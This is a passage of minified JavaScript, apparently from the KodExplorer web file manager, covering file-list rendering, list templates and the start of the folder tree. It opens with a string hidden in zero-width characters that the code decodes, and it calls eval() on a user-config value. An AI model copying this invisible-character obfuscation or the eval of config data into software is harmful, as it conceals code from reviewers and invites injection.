‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='
        '+t+'
        '),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+i;u>a&&(u=a),u-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,u)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='
        '+LNG.path_null+"
        ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='
        '+'
        '+''+'
        '+''+LNG.file_load_all+""+"
        "+"
        ":"list_split"==G.user_config.list_type&&(t+='
        '+'
        '+'
        '+''+LNG.file_load_all+"(to list)"+"
        "+"
        ")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
        '+n+'
        ',$(n).insertAfter(i).data("jsonData",a);else n='
        '+n+'
        ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list; -for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");void 0!=a&&"writeable"!=a||i==G.KOD_USER_RECYCLE||i==G.KOD_USER_SHARE||i==G.KOD_GROUP_SHARE?t.can_upload=!1:(t.can_upload=!0,1!=G.is_root&&i==G.KOD_GROUP_PATH&&"guest"==t.role&&(t.can_upload=!1)),"writeable"==a&&1==G.is_root&&(t.can_upload=!0);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE||a==G.KOD_GROUP_SHARE||a==G.KOD_GROUP_PATH?$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").addClass("hidden"):$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").removeClass("hidden"),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
        \n
        \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        {{LNG.folder}}
        \n
        \n
        {{list.mtime}}
        \n
        \n
        \n{{if list.isParent&&list.is_readable}}\n
        \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='icon_file'}}\n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.icon}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_file'}}\n
        \n
        \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        {{list.ext |window.htmlEncode}} {{LNG.file}}
        \n
        {{list.size |core.fileSize}}
        \n
        {{list.mtime}}
        \n
        \n
        \n\n\n{{else if type=='list_split_file'}}\n
        \n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e){for(var t=[],i=[],a=0;e.length>a;a++){if(e[a].drop=!1,e[a].drag=!1,e[a].name=e[a].name,e[a].isParent&&e[a].children&&(e[a].children=r(e[a].children)),e[a].menuType)return e;e[a].is_writeable,"folder"==e[a].type?i.push(e[a]):t.push(e[a])}return i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),t=t.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i.concat(t)},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(e){e.code&&(h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})}):i.newFile(r,function(e){e.code&&(h(s),t=function(){var 